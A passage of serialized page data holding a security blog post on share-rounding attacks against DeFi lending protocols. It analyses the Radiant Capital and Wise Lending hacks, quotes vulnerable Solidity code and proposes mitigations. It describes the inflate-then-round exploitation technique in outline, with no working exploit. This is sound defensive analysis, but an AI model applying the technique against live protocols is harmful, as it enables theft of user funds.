mitigations.",[8106],{"src":47702},"/posts/rounding-bugs/cover.png","2024-01-18",{"type":21,"children":47705,"toc":48839},[47706,47710,47738,47743,47756,47761,47767,47772,47777,47782,47787,47800,47812,47832,47852,47857,47862,47880,47886,47891,47897,47911,47924,47929,47935,47949,47954,47976,48209,48214,48219,48232,48472,48482,48487,48493,48498,48503,48536,48541,48552,48558,48563,48577,48705,48719,48795,48800,48811,48816,48821,48825,48830,48835],{"type":24,"tag":850,"props":47707,"children":47708},{"id":30826},[47709],{"type":29,"value":30829},{"type":24,"tag":25,"props":47711,"children":47712},{},[47713,47715,47722,47723,47730,47732,47737],{"type":29,"value":47714},"Recently, there's been a series of attacks exploiting share rounding against lending protocols. Rounding attacks are already known to developers on ",{"type":24,"tag":69,"props":47716,"children":47719},{"href":47717,"rel":47718},"https://neodyme.io/de/blog/lending_disclosure",[73],[47720],{"type":29,"value":47721},"fast",{"type":29,"value":133},{"type":24,"tag":69,"props":47724,"children":47727},{"href":47725,"rel":47726},"https://osec.io/blog/2022-04-26-spl-swap-rounding",[73],[47728],{"type":29,"value":47729},"cheap",{"type":29,"value":47731}," chains with high-value tokens. These attacks are novel in that they also work against low-value tokens on expensive chains. ",{"type":24,"tag":842,"props":47733,"children":47734},{},[47735],{"type":29,"value":47736},"Most people haven't considered what happens when shares are worth a lot",{"type":29,"value":226},{"type":24,"tag":25,"props":47739,"children":47740},{},[47741],{"type":29,"value":47742},"Much of the previous discourse has mischaracterized the rootcause of these hacks. For example, the presence of flashloans is largely irrelevant. At a high level, these attacks only require two key steps:",{"type":24,"tag":3100,"props":47744,"children":47745},{},[47746,47751],{"type":24,"tag":3104,"props":47747,"children":47748},{},[47749],{"type":29,"value":47750},"Inflate share value (token to share conversion rate)",{"type":24,"tag":3104,"props":47752,"children":47753},{},[47754],{"type":29,"value":47755},"Exploit rounding bug",{"type":24,"tag":25,"props":47757,"children":47758},{},[47759],{"type":29,"value":47760},"In this blog post, we explore these attacks in detail and provide potential mitigations.",{"type":24,"tag":850,"props":47762,"children":47764},{"id":47763},"model",[47765],{"type":29,"value":47766},"Model",{"type":24,"tag":25,"props":47768,"children":47769},{},[47770],{"type":29,"value":47771},"Before we dive in, there's some helpful background information we'll share first.",{"type":24,"tag":25,"props":47773,"children":47774},{},[47775],{"type":29,"value":47776},"A common form of accounting is the share and token model. When a user deposits a token, they receive back shares. Shares can accrue value, whether through interest or protocol fees.",{"type":24,"tag":25,"props":47778,"children":47779},{},[47780],{"type":29,"value":47781},"When users want to withdraw their tokens, they burn shares and receive the corresponding amount of tokens back. This is nice in theory. Unfortunately, in the real world, we have fixed precision. You can't have 1.01 shares, it needs to be either one or two. Which way should we round?",{"type":24,"tag":25,"props":47783,"children":47784},{},[47785],{"type":29,"value":47786},"This question is more complex than it may appear. Let's walk through an example.",{"type":24,"tag":25,"props":47788,"children":47789},{},[47790,47792,47798],{"type":29,"value":47791},"Say we initialize shares and tokens in a one-to-one ratio. After an initial deposit of 1000 tokens, the pool state is ",{"type":24,"tag":32,"props":47793,"children":47795},{"className":47794},[],[47796],{"type":29,"value":47797},"1000:1000",{"type":29,"value":47799}," (1000 tokens to 1000 shares).",{"type":24,"tag":25,"props":47801,"children":47802},{},[47803,47805,47811],{"type":29,"value":47804},"After accruing fees, the pool gains one token for a new ratio of ",{"type":24,"tag":32,"props":47806,"children":47808},{"className":47807},[],[47809],{"type":29,"value":47810},"1001:1000",{"type":29,"value":226},{"type":24,"tag":25,"props":47813,"children":47814},{},[47815,47817,47823,47825,47830],{"type":29,"value":47816},"How many tokens should we get back when withdrawing 999 shares? The real answer is ",{"type":24,"tag":32,"props":47818,"children":47820},{"className":47819},[],[47821],{"type":29,"value":47822},"1001/1000*999 = 999.999",{"type":29,"value":47824},". Unfortunately, we can only send the user 1000 or 999 tokens. For now, let's assume we round ",{"type":24,"tag":842,"props":47826,"children":47827},{},[47828],{"type":29,"value":47829},"down",{"type":29,"value":47831}," against the user.",{"type":24,"tag":25,"props":47833,"children":47834},{},[47835,47837,47843,47845,47851],{"type":29,"value":47836},"If we give the user 999 tokens, the new pool state is ",{"type":24,"tag":32,"props":47838,"children":47840},{"className":47839},[],[47841],{"type":29,"value":47842},"2:1",{"type":29,"value":47844},". The value of a share doubled! What happens if we deposit 1 more token? We'll get back zero shares, further inflating the ratio to ",{"type":24,"tag":32,"props":47846,"children":47848},{"className":47847},[],[47849],{"type":29,"value":47850},"3:1",{"type":29,"value":226},{"type":24,"tag":25,"props":47853,"children":47854},{},[47855],{"type":29,"value":47856},"Small decisions like rounding direction can have a big impact on share valuation. Generally, share valuation isn't a strict security boundary.",{"type":24,"tag":25,"props":47858,"children":47859},{},[47860],{"type":29,"value":47861},"The above is a bit of a simplification. In practice, there are several protocol-specific design decisions:",{"type":24,"tag":3100,"props":47863,"children":47864},{},[47865,47870,47875],{"type":24,"tag":3104,"props":47866,"children":47867},{},[47868],{"type":29,"value":47869},"Can you deposit and receive back zero shares? If not, you'll need to spend more effort to exploit the rounding error",{"type":24,"tag":3104,"props":47871,"children":47872},{},[47873],{"type":29,"value":47874},"When you withdraw, are you withdrawing shares or tokens?",{"type":24,"tag":3104,"props":47876,"children":47877},{},[47878],{"type":29,"value":47879},"Can you directly manipulate pool state by sending tokens? Hopefully not.",{"type":24,"tag":850,"props":47881,"children":47883},{"id":47882},"decisions",[47884],{"type":29,"value":47885},"Decisions",{"type":24,"tag":25,"props":47887,"children":47888},{},[47889],{"type":29,"value":47890},"Let's assume that we're able to inflate the value of a share. How can we actually exploit this?",{"type":24,"tag":1019,"props":47892,"children":47894},{"id":47893},"radiant-capital",[47895],{"type":29,"value":47896},"Radiant Capital",{"type":24,"tag":25,"props":47898,"children":47899},{},[47900,47902,47909],{"type":29,"value":47901},"Radiant Capital was ",{"type":24,"tag":69,"props":47903,"children":47906},{"href":47904,"rel":47905},"https://arbiscan.io/tx/0x1ce7e9a9e3b6dd3293c9067221ac3260858ce119ecb7ca860eac28b2474c7c9b",[73],[47907],{"type":29,"value":47908},"hacked on Jan 2nd",{"type":29,"value":47910}," for about $4.5M. This was the original example of exploiting rounding on otherwise inconsequential shares.",{"type":24,"tag":25,"props":47912,"children":47913},{},[47914,47916,47923],{"type":29,"value":47915},"The exploit is relatively straightforward and ",{"type":24,"tag":69,"props":47917,"children":47920},{"href":47918,"rel":47919},"https://medium.com/@_kcyw/radiant-capital-hack-explained-1633289be150",[73],[47921],{"type":29,"value":47922},"has already been covered previously",{"type":29,"value":226},{"type":24,"tag":25,"props":47925,"children":47926},{},[47927],{"type":29,"value":47928},"At a high level, this exploit is exactly what you'd expect. If shares were worth $1000 each, and the user tried to withdraw $1999, they only needed to burn one share. Free money.",{"type":24,"tag":1019,"props":47930,"children":47932},{"id":47931},"wise-lending",[47933],{"type":29,"value":47934},"Wise Lending",{"type":24,"tag":25,"props":47936,"children":47937},{},[47938,47940,47947],{"type":29,"value":47939},"Wise Lending was ",{"type":24,"tag":69,"props":47941,"children":47944},{"href":47942,"rel":47943},"https://etherscan.io/tx/0x04e16a79ff928db2fa88619cdd045cdfc7979a61d836c9c9e585b3d6f6d8bc31",[73],[47945],{"type":29,"value":47946},"hacked on January 13th",{"type":29,"value":47948}," for just under $460,000.",{"type":24,"tag":25,"props":47950,"children":47951},{},[47952],{"type":29,"value":47953},"Again, share prices were inflated artificially high. However, the rounding direction seemed to be correct. This was a new variant.",{"type":24,"tag":25,"props":47955,"children":47956},{},[47957,47959,47966,47968,47975],{"type":29,"value":47958},"This is ",{"type":24,"tag":69,"props":47960,"children":47963},{"href":47961,"rel":47962},"https://etherscan.io/address/0x829c3AE2e82760eCEaD0F384918a650F8a31Ba18",[73],[47964],{"type":29,"value":47965},"the code responsible",{"type":29,"value":47967}," for checking if a withdrawal is valid. As a hint, a critical invariant for lending protocols is that there's ",{"type":24,"tag":69,"props":47969,"children":47972},{"href":47970,"rel":47971},"https://www.chainalysis.com/blog/euler-finance-flash-loan-attack/",[73],[47973],{"type":29,"value":47974},"no way to atomically self-bankrupt",{"type":29,"value":226},{"type":24,"tag":80,"props":47977,"children":47979},{"className":6861,"code":47978,"language":6860,"meta":7,"style":7},"uint256 withdrawValue = WISE_ORACLE.getTokensInETH(\n _poolToken,\n _amount\n)\n * WISE_LENDING.lendingPoolData(_poolToken).collateralFactor\n / PRECISION_FACTOR_E18;\n\nbool state = borrowPercentageCap\n * (overallETHCollateralsWeighted(_nftId) - withdrawValue)\n / PRECISION_FACTOR_E18\n \u003C borrowAmount;\n\nif (state == true) {\n revert ResultsInBadDebt();\n}\n",[47980],{"type":24,"tag":32,"props":47981,"children":47982},{"__ignoreMap":7},[47983,48014,48022,48030,48037,48059,48072,48079,48100,48130,48142,48154,48161,48185,48202],{"type":24,"tag":90,"props":47984,"children":47985},{"class":92,"line":93},[47986,47991,47996,48000,48005,48010],{"type":24,"tag":90,"props":47987,"children":47988},{"style":146},[47989],{"type":29,"value":47990},"uint256",{"type":24,"tag":90,"props":47992,"children":47993},{"style":114},[47994],{"type":29,"value":47995}," withdrawValue ",{"type":24,"tag":90,"props":47997,"children":47998},{"style":120},[47999],{"type":29,"value":5491},{"type":24,"tag":90,"props":48001,"children":48002},{"style":114},[48003],{"type":29,"value":48004}," WISE_ORACLE.",{"type":24,"tag":90,"props":48006,"children":48007},{"style":108},[48008],{"type":29,"value":48009},"getTokensInETH",{"type":24,"tag":90,"props":48011,"children":48012},{"style":114},[48013],{"type":29,"value":680},{"type":24,"tag":90,"props":48015,"children":48016},{"class":92,"line":200},[48017],{"type":24,"tag":90,"props":48018,"children":48019},{"style":114},[48020],{"type":29,"value":48021}," _poolToken,\n",{"type":24,"tag":90,"props":48023,"children":48024},{"class":92,"line":239},[48025],{"type":24,"tag":90,"props":48026,"children":48027},{"style":114},[48028],{"type":29,"value":48029}," _amount\n",{"type":24,"tag":90,"props":48031,"children":48032},{"class":92,"line":248},[48033],{"type":24,"tag":90,"props":48034,"children":48035},{"style":114},[48036],{"type":29,"value":1686},{"type":24,"tag":90,"props":48038,"children":48039},{"class":92,"line":258},[48040,48044,48049,48054],{"type":24,"tag":90,"props":48041,"children":48042},{"style":120},[48043],{"type":29,"value":4084},{"type":24,"tag":90,"props":48045,"children":48046},{"style":114},[48047],{"type":29,"value":48048}," WISE_LENDING.",{"type":24,"tag":90,"props":48050,"children":48051},{"style":108},[48052],{"type":29,"value":48053},"lendingPoolData",{"type":24,"tag":90,"props":48055,"children":48056},{"style":114},[48057],{"type":29,"value":48058},"(_poolToken).collateralFactor\n",{"type":24,"tag":90,"props":48060,"children":48061},{"class":92,"line":272},[48062,48067],{"type":24,"tag":90,"props":48063,"children":48064},{"style":120},[48065],{"type":29,"value":48066}," /",{"type":24,"tag":90,"props":48068,"children":48069},{"style":114},[48070],{"type":29,"value":48071}," PRECISION_FACTOR_E18;\n",{"type":24,"tag":90,"props":48073,"children":48074},{"class":92,"line":281},[48075],{"type":24,"tag":90,"props":48076,"children":48077},{"emptyLinePlaceholder":16},[48078],{"type":29,"value":245},{"type":24,"tag":90,"props":48080,"children":48081},{"class":92,"line":384},[48082,48086,48091,48095],{"type":24,"tag":90,"props":48083,"children":48084},{"style":146},[48085],{"type":29,"value":31497},{"type":24,"tag":90,"props":48087,"children":48088},{"style":114},[48089],{"type":29,"value":48090}," state ",{"type":24,"tag":90,"props":48092,"children":48093},{"style":120},[48094],{"type":29,"value":5491},{"type":24,"tag":90,"props":48096,"children":48097},{"style":114},[48098],{"type":29,"value":48099}," borrowPercentageCap\n",{"type":24,"tag":90,"props":48101,"children":48102},{"class":92,"line":420},[48103,48107,48111,48116,48121,48125],{"type":24,"tag":90,"props":48104,"children":48105},{"style":120},[48106],{"type":29,"value":4084},{"type":24,"tag":90,"props":48108,"children":48109},{"style":114},[48110],{"type":29,"value":1151},{"type":24,"tag":90,"props":48112,"children":48113},{"style":108},[48114],{"type":29,"value":48115},"overallETHCollateralsWeighted",{"type":24,"tag":90,"props":48117,"children":48118},{"style":114},[48119],{"type":29,"value":48120},"(_nftId) ",{"type":24,"tag":90,"props":48122,"children":48123},{"style":120},[48124],{"type":29,"value":346},{"type":24,"tag":90,"props":48126,"children":48127},{"style":114},[48128],{"type":29,"value":48129}," withdrawValue)\n",{"type":24,"tag":90,"props":48131,"children":48132},{"class":92,"line":428},[48133,48137],{"type":24,"tag":90,"props":48134,"children":48135},{"style":120},[48136],{"type":29,"value":48066},{"type":24,"tag":90,"props":48138,"children":48139},{"style":114},[48140],{"type":29,"value":48141}," PRECISION_FACTOR_E18\n",{"type":24,"tag":90,"props":48143,"children":48144},{"class":92,"line":437},[48145,48149],{"type":24,"tag":90,"props":48146,"children":48147},{"style":120},[48148],{"type":29,"value":34259},{"type":24,"tag":90,"props":48150,"children":48151},{"style":114},[48152],{"type":29,"value":48153}," borrowAmount;\n",{"type":24,"tag":90,"props":48155,"children":48156},{"class":92,"line":574},[48157],{"type":24,"tag":90,"props":48158,"children":48159},{"emptyLinePlaceholder":16},[48160],{"type":29,"value":245},{"type":24,"tag":90,"props":48162,"children":48163},{"class":92,"line":606},[48164,48168,48173,48177,48181],{"type":24,"tag":90,"props":48165,"children":48166},{"style":636},[48167],{"type":29,"value":2084},{"type":24,"tag":90,"props":48169,"children":48170},{"style":114},[48171],{"type":29,"value":48172}," (state ",{"type":24,"tag":90,"props":48174,"children":48175},{"style":120},[48176],{"type":29,"value":10951},{"type":24,"tag":90,"props":48178,"children":48179},{"style":97},[48180],{"type":29,"value":14835},{"type":24,"tag":90,"props":48182,"children":48183},{"style":114},[48184],{"type":29,"value":1297},{"type":24,"tag":90,"props":48186,"children":48187},{"class":92,"line":615},[48188,48193,48198],{"type":24,"tag":90,"props":48189,"children":48190},{"style":636},[48191],{"type":29,"value":48192}," revert",{"type":24,"tag":90,"props":48194,"children":48195},{"style":108},[48196],{"type":29,"value":48197}," ResultsInBadDebt",{"type":24,"tag":90,"props":48199,"children":48200},{"style":114},[48201],{"type":29,"value":236},{"type":24,"tag":90,"props":48203,"children":48204},{"class":92,"line":623},[48205],{"type":24,"tag":90,"props":48206,"children":48207},{"style":114},[48208],{"type":29,"value":827},{"type":24,"tag":25,"props":48210,"children":48211},{},[48212],{"type":29,"value":48213},"The critical observation is that this code operates on token amounts, while the internal accounting necessarily operates on shares.",{"type":24,"tag":25,"props":48215,"children":48216},{},[48217],{"type":29,"value":48218},"Consider: you have one share worth $1000 and (correctly) can borrow $500. If you tried to withdraw $1, the code would round up to withdraw your one share worth $1000, causing you to be immediately liquidatable!",{"type":24,"tag":25,"props":48220,"children":48221},{},[48222,48224,48230],{"type":29,"value":48223},"And indeed, ",{"type":24,"tag":69,"props":48225,"children":48228},{"href":48226,"rel":48227},"https://etherscan.io/address/0x37e49bf3749513A02FA535F0CbC383796E8107E4",[73],[48229],{"type":29,"value":47934},{"type":29,"value":48231}," rounds up the share value.",{"type":24,"tag":80,"props":48233,"children":48235},{"className":6861,"code":48234,"language":6860,"meta":7,"style":7},"function _calculateShares(\n uint256 _product,\n uint256 _pseudo,\n bool _maxSharePrice\n)\n private\n pure\n returns (uint256)\n{\n return _maxSharePrice == true\n ? _product % _pseudo == 0\n ? _product / _pseudo\n : _product / _pseudo + 1\n : _product / _pseudo;\n}\n",[48236],{"type":24,"tag":32,"props":48237,"children":48238},{"__ignoreMap":7},[48239,48255,48272,48288,48301,48308,48316,48324,48344,48351,48372,48393,48415,48444,48465],{"type":24,"tag":90,"props":48240,"children":48241},{"class":92,"line":93},[48242,48246,48251],{"type":24,"tag":90,"props":48243,"children":48244},{"style":97},[48245],{"type":29,"value":33190},{"type":24,"tag":90,"props":48247,"children":48248},{"style":108},[48249],{"type":29,"value":48250}," _calculateShares",{"type":24,"tag":90,"props":48252,"children":48253},{"style":114},[48254],{"type":29,"value":680},{"type":24,"tag":90,"props":48256,"children":48257},{"class":92,"line":200},[48258,48263,48268],{"type":24,"tag":90,"props":48259,"children":48260},{"style":146},[48261],{"type":29,"value":48262}," uint256",{"type":24,"tag":90,"props":48264,"children":48265},{"style":136},[48266],{"type":29,"value":48267}," _product",{"type":24,"tag":90,"props":48269,"children":48270},{"style":114},[48271],{"type":29,"value":748},{"type":24,"tag":90,"props":48273,"children":48274},{"class":92,"line":239},[48275,48279,48284],{"type":24,"tag":90,"props":48276,"children":48277},{"style":146},[48278],{"type":29,"value":48262},{"type":24,"tag":90,"props":48280,"children":48281},{"style":136},[48282],{"type":29,"value":48283}," _pseudo",{"type":24,"tag":90,"props":48285,"children":48286},{"style":114},[48287],{"type":29,"value":748},{"type":24,"tag":90,"props":48289,"children":48290},{"class":92,"line":248},[48291,48296],{"type":24,"tag":90,"props":48292,"children":48293},{"style":146},[48294],{"type":29,"value":48295}," bool",{"type":24,"tag":90,"props":48297,"children":48298},{"style":136},[48299],{"type":29,"value":48300}," _maxSharePrice\n",{"type":24,"tag":90,"props":48302,"children":48303},{"class":92,"line":258},[48304],{"type":24,"tag":90,"props":48305,"children":48306},{"style":114},[48307],{"type":29,"value":1686},{"type":24,"tag":90,"props":48309,"children":48310},{"class":92,"line":272},[48311],{"type":24,"tag":90,"props":48312,"children":48313},{"style":97},[48314],{"type":29,"value":48315}," private\n",{"type":24,"tag":90,"props":48317,"children":48318},{"class":92,"line":281},[48319],{"type":24,"tag":90,"props":48320,"children":48321},{"style":97},[48322],{"type":29,"value":48323}," pure\n",{"type":24,"tag":90,"props":48325,"children":48326},{"class":92,"line":384},[48327,48332,48336,48340],{"type":24,"tag":90,"props":48328,"children":48329},{"style":636},[48330],{"type":29,"value":48331}," returns",{"type":24,"tag":90,"props":48333,"children":48334},{"style":114},[48335],{"type":29,"value":1151},{"type":24,"tag":90,"props":48337,"children":48338},{"style":146},[48339],{"type":29,"value":47990},{"type":24,"tag":90,"props":48341,"children":48342},{"style":114},[48343],{"type":29,"value":1686},{"type":24,"tag":90,"props":48345,"children":48346},{"class":92,"line":420},[48347],{"type":24,"tag":90,"props":48348,"children":48349},{"style":114},[48350],{"type":29,"value":2221},{"type":24,"tag":90,"props":48352,"children":48353},{"class":92,"line":428},[48354,48358,48363,48367],{"type":24,"tag":90,"props":48355,"children":48356},{"style":636},[48357],{"type":29,"value":3510},{"type":24,"tag":90,"props":48359,"children":48360},{"style":114},[48361],{"type":29,"value":48362}," _maxSharePrice ",{"type":24,"tag":90,"props":48364,"children":48365},{"style":120},[48366],{"type":29,"value":10951},{"type":24,"tag":90,"props":48368,"children":48369},{"style":97},[48370],{"type":29,"value":48371}," true\n",{"type":24,"tag":90,"props":48373,"children":48374},{"class":92,"line":437},[48375,48380,48385,48389],{"type":24,"tag":90,"props":48376,"children":48377},{"style":120},[48378],{"type":29,"value":48379}," ?",{"type":24,"tag":90,"props":48381,"children":48382},{"style":114},[48383],{"type":29,"value":48384}," _product % _pseudo ",{"type":24,"tag":90,"props":48386,"children":48387},{"style":120},[48388],{"type":29,"value":10951},{"type":24,"tag":90,"props":48390,"children":48391},{"style":349},[48392],{"type":29,"value":26087},{"type":24,"tag":90,"props":48394,"children":48395},{"class":92,"line":574},[48396,48401,48406,48410],{"type":24,"tag":90,"props":48397,"children":48398},{"style":120},[48399],{"type":29,"value":48400}," ?",{"type":24,"tag":90,"props":48402,"children":48403},{"style":114},[48404],{"type":29,"value":48405}," _product ",{"type":24,"tag":90,"props":48407,"children":48408},{"style":120},[48409],{"type":29,"value":6966},{"type":24,"tag":90,"props":48411,"children":48412},{"style":114},[48413],{"type":29,"value":48414}," _pseudo\n",{"type":24,"tag":90,"props":48416,"children":48417},{"class":92,"line":606},[48418,48423,48427,48431,48436,48440],{"type":24,"tag":90,"props":48419,"children":48420},{"style":120},[48421],{"type":29,"value":48422}," :",{"type":24,"tag":90,"props":48424,"children":48425},{"style":114},[48426],{"type":29,"value":48405},{"type":24,"tag":90,"props":48428,"children":48429},{"style":120},[48430],{"type":29,"value":6966},{"type":24,"tag":90,"props":48432,"children":48433},{"style":114},[48434],{"type":29,"value":48435}," _pseudo ",{"type":24,"tag":90,"props":48437,"children":48438},{"style":120},[48439],{"type":29,"value":6767},{"type":24,"tag":90,"props":48441,"children":48442},{"style":349},[48443],{"type":29,"value":21237},{"type":24,"tag":90,"props":48445,"children":48446},{"class":92,"line":615},[48447,48452,48456,48460],{"type":24,"tag":90,"props":48448,"children":48449},{"style":120},[48450],{"type":29,"value":48451}," :",{"type":24,"tag":90,"props":48453,"children":48454},{"style":114},[48455],{"type":29,"value":48405},{"type":24,"tag":90,"props":48457,"children":48458},{"style":120},[48459],{"type":29,"value":6966},{"type":24,"tag":90,"props":48461,"children":48462},{"style":114},[48463],{"type":29,"value":48464}," _pseudo;\n",{"type":24,"tag":90,"props":48466,"children":48467},{"class":92,"line":623},[48468],{"type":24,"tag":90,"props":48469,"children":48470},{"style":114},[48471],{"type":29,"value":827},{"type":24,"tag":25,"props":48473,"children":48474},{},[48475,48480],{"type":24,"tag":842,"props":48476,"children":48477},{},[48478],{"type":29,"value":48479},"Regardless of which way the share rounding occurs, this is a bug",{"type":29,"value":48481},". The correct way would be to do calculations in units of shares and force users to withdraw in increments of shares (and then round down the tokens ultimately received in the end).",{"type":24,"tag":25,"props":48483,"children":48484},{},[48485],{"type":29,"value":48486},"This is a really tricky invariant to reason about!",{"type":24,"tag":850,"props":48488,"children":48490},{"id":48489},"root-cause",[48491],{"type":29,"value":48492},"Root Cause",{"type":24,"tag":25,"props":48494,"children":48495},{},[48496],{"type":29,"value":48497},"Even though this sort of exploit seems pervasive, it requires quite a lot of factors to be exploitable.",{"type":24,"tag":25,"props":48499,"children":48500},{},[48501],{"type":29,"value":48502},"Most importantly, the share value needs to be inflatable. Usually, this requires an integer representation for both shares and tokens. The conversion rate also needs to be expressed in terms of the shares and tokens as opposed to being stored separately.",{"type":24,"tag":80,"props":48504,"children":48506},{"className":6861,"code":48505,"language":6860,"meta":7,"style":7},"totalDepositShares * _amount / pseudoTotalPool\n",[48507],{"type":24,"tag":32,"props":48508,"children":48509},{"__ignoreMap":7},[48510],{"type":24,"tag":90,"props":48511,"children":48512},{"class":92,"line":93},[48513,48518,48522,48527,48531],{"type":24,"tag":90,"props":48514,"children":48515},{"style":114},[48516],{"type":29,"value":48517},"totalDepositShares ",{"type":24,"tag":90,"props":48519,"children":48520},{"style":120},[48521],{"type":29,"value":983},{"type":24,"tag":90,"props":48523,"children":48524},{"style":114},[48525],{"type":29,"value":48526}," _amount ",{"type":24,"tag":90,"props":48528,"children":48529},{"style":120},[48530],{"type":29,"value":6966},{"type":24,"tag":90,"props":48532,"children":48533},{"style":114},[48534],{"type":29,"value":48535}," pseudoTotalPool\n",{"type":24,"tag":25,"props":48537,"children":48538},{},[48539],{"type":29,"value":48540},"The second critical requirement is a generally empty pool. Inflating the share value means that all other shares also rise in value. If there are shares that are not controlled by the attacker, this would mean giving other users free money, almost definitely stopping inflation attacks.",{"type":24,"tag":25,"props":48542,"children":48543},{},[48544,48546,48550],{"type":29,"value":48545},"Finally, there must be improper rounding or accounting. This last requirement is generally easiest to satisfy. Share rounding is a new attack vector, and people haven't thought carefully about proper treatment of dust. Have you analyzed ",{"type":24,"tag":842,"props":48547,"children":48548},{},[48549],{"type":29,"value":21712},{"type":29,"value":48551}," integer division?",{"type":24,"tag":850,"props":48553,"children":48555},{"id":48554},"mitigations",[48556],{"type":29,"value":48557},"Mitigations",{"type":24,"tag":25,"props":48559,"children":48560},{},[48561],{"type":29,"value":48562},"The easiest way to prevent this attack is to prevent share values from being manipulated. An unexpectedly high share value can lead to denial of service scenarios and is probably worth mitigating by itself.",{"type":24,"tag":25,"props":48564,"children":48565},{},[48566,48568,48575],{"type":29,"value":48567},"The best way is to ensure that the pool has some amount of deposits on deployment, whether operationally or programmatically. As ",{"type":24,"tag":69,"props":48569,"children":48572},{"href":48570,"rel":48571},"https://twitter.com/danielvf/status/1746306320553152615",[73],[48573],{"type":29,"value":48574},"@danielvf notes",{"type":29,"value":48576},", protocols like Uniswap burn a portion of the initial deposit for this very reason.",{"type":24,"tag":80,"props":48578,"children":48580},{"className":6861,"code":48579,"language":6860,"meta":7,"style":7},"if (_totalSupply == 0) {\n liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);\n _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens\n} else {\n",[48581],{"type":24,"tag":32,"props":48582,"children":48583},{"__ignoreMap":7},[48584,48608,48655,48689],{"type":24,"tag":90,"props":48585,"children":48586},{"class":92,"line":93},[48587,48591,48596,48600,48604],{"type":24,"tag":90,"props":48588,"children":48589},{"style":636},[48590],{"type":29,"value":2084},{"type":24,"tag":90,"props":48592,"children":48593},{"style":114},[48594],{"type":29,"value":48595}," (_totalSupply ",{"type":24,"tag":90,"props":48597,"children":48598},{"style":120},[48599],{"type":29,"value":10951},{"type":24,"tag":90,"props":48601,"children":48602},{"style":349},[48603],{"type":29,"value":5448},{"type":24,"tag":90,"props":48605,"children":48606},{"style":114},[48607],{"type":29,"value":1297},{"type":24,"tag":90,"props":48609,"children":48610},{"class":92,"line":200},[48611,48616,48620,48625,48630,48635,48640,48645,48650],{"type":24,"tag":90,"props":48612,"children":48613},{"style":114},[48614],{"type":29,"value":48615}," liquidity ",{"type":24,"tag":90,"props":48617,"children":48618},{"style":120},[48619],{"type":29,"value":5491},{"type":24,"tag":90,"props":48621,"children":48622},{"style":114},[48623],{"type":29,"value":48624}," Math.",{"type":24,"tag":90,"props":48626,"children":48627},{"style":108},[48628],{"type":29,"value":48629},"sqrt",{"type":24,"tag":90,"props":48631,"children":48632},{"style":114},[48633],{"type":29,"value":48634},"(amount0.",{"type":24,"tag":90,"props":48636,"children":48637},{"style":108},[48638],{"type":29,"value":48639},"mul",{"type":24,"tag":90,"props":48641,"children":48642},{"style":114},[48643],{"type":29,"value":48644},"(amount1)).",{"type":24,"tag":90,"props":48646,"children":48647},{"style":108},[48648],{"type":29,"value":48649},"sub",{"type":24,"tag":90,"props":48651,"children":48652},{"style":114},[48653],{"type":29,"value":48654},"(MINIMUM_LIQUIDITY);\n",{"type":24,"tag":90,"props":48656,"children":48657},{"class":92,"line":239},[48658,48663,48667,48671,48675,48679,48684],{"type":24,"tag":90,"props":48659,"children":48660},{"style":108},[48661],{"type":29,"value":48662}," _mint",{"type":24,"tag":90,"props":48664,"children":48665},{"style":114},[48666],{"type":29,"value":117},{"type":24,"tag":90,"props":48668,"children":48669},{"style":146},[48670],{"type":29,"value":34454},{"type":24,"tag":90,"props":48672,"children":48673},{"style":114},[48674],{"type":29,"value":117},{"type":24,"tag":90,"props":48676,"children":48677},{"style":349},[48678],{"type":29,"value":6408},{"type":24,"tag":90,"props":48680,"children":48681},{"style":114},[48682],{"type":29,"value":48683},"), MINIMUM_LIQUIDITY); ",{"type":24,"tag":90,"props":48685,"children":48686},{"style":252},[48687],{"type":29,"value":48688},"// permanently lock the first MINIMUM_LIQUIDITY tokens\n",{"type":24,"tag":90,"props":48690,"children":48691},{"class":92,"line":248},[48692,48697,48701],{"type":24,"tag":90,"props":48693,"children":48694},{"style":114},[48695],{"type":29,"value":48696},"} ",{"type":24,"tag":90,"props":48698,"children":48699},{"style":636},[48700],{"type":29,"value":2293},{"type":24,"tag":90,"props":48702,"children":48703},{"style":114},[48704],{"type":29,"value":269},{"type":24,"tag":25,"props":48706,"children":48707},{},[48708,48710,48717],{"type":29,"value":48709},"Alternatively, ",{"type":24,"tag":69,"props":48711,"children":48714},{"href":48712,"rel":48713},"https://github.com/SynonymFinance/smart-contracts-public/blob/759c6afe45720e26d731f081dfc747787ad7ae20/evm/src/contracts/lendingHub/HubInterestUtilities.sol#L52-L53",[73],[48715],{"type":29,"value":48716},"storing the conversion rate separately",{"type":29,"value":48718}," can also suffice. A key factor is that depositing additional tokens or burning shares affects the conversion rate. If the conversion rate is hardcoded and updated only during interest accrual, there's nothing to manipulate.",{"type":24,"tag":80,"props":48720,"children":48722},{"className":6861,"code":48721,"language":6860,"meta":7,"style":7},"accrualIndices.borrowed = accrualIndices.borrowed * borrowInterestFactor / precision;\naccrualIndices.deposited = accrualIndices.deposited * depositInterestFactor / precision;\n",[48723],{"type":24,"tag":32,"props":48724,"children":48725},{"__ignoreMap":7},[48726,48761],{"type":24,"tag":90,"props":48727,"children":48728},{"class":92,"line":93},[48729,48734,48738,48743,48747,48752,48756],{"type":24,"tag":90,"props":48730,"children":48731},{"style":114},[48732],{"type":29,"value":48733},"accrualIndices.borrowed ",{"type":24,"tag":90,"props":48735,"children":48736},{"style":120},[48737],{"type":29,"value":5491},{"type":24,"tag":90,"props":48739,"children":48740},{"style":114},[48741],{"type":29,"value":48742}," accrualIndices.borrowed ",{"type":24,"tag":90,"props":48744,"children":48745},{"style":120},[48746],{"type":29,"value":983},{"type":24,"tag":90,"props":48748,"children":48749},{"style":114},[48750],{"type":29,"value":48751}," borrowInterestFactor ",{"type":24,"tag":90,"props":48753,"children":48754},{"style":120},[48755],{"type":29,"value":6966},{"type":24,"tag":90,"props":48757,"children":48758},{"style":114},[48759],{"type":29,"value":48760}," precision;\n",{"type":24,"tag":90,"props":48762,"children":48763},{"class":92,"line":200},[48764,48769,48773,48778,48782,48787,48791],{"type":24,"tag":90,"props":48765,"children":48766},{"style":114},[48767],{"type":29,"value":48768},"accrualIndices.deposited ",{"type":24,"tag":90,"props":48770,"children":48771},{"style":120},[48772],{"type":29,"value":5491},{"type":24,"tag":90,"props":48774,"children":48775},{"style":114},[48776],{"type":29,"value":48777}," accrualIndices.deposited ",{"type":24,"tag":90,"props":48779,"children":48780},{"style":120},[48781],{"type":29,"value":983},{"type":24,"tag":90,"props":48783,"children":48784},{"style":114},[48785],{"type":29,"value":48786}," 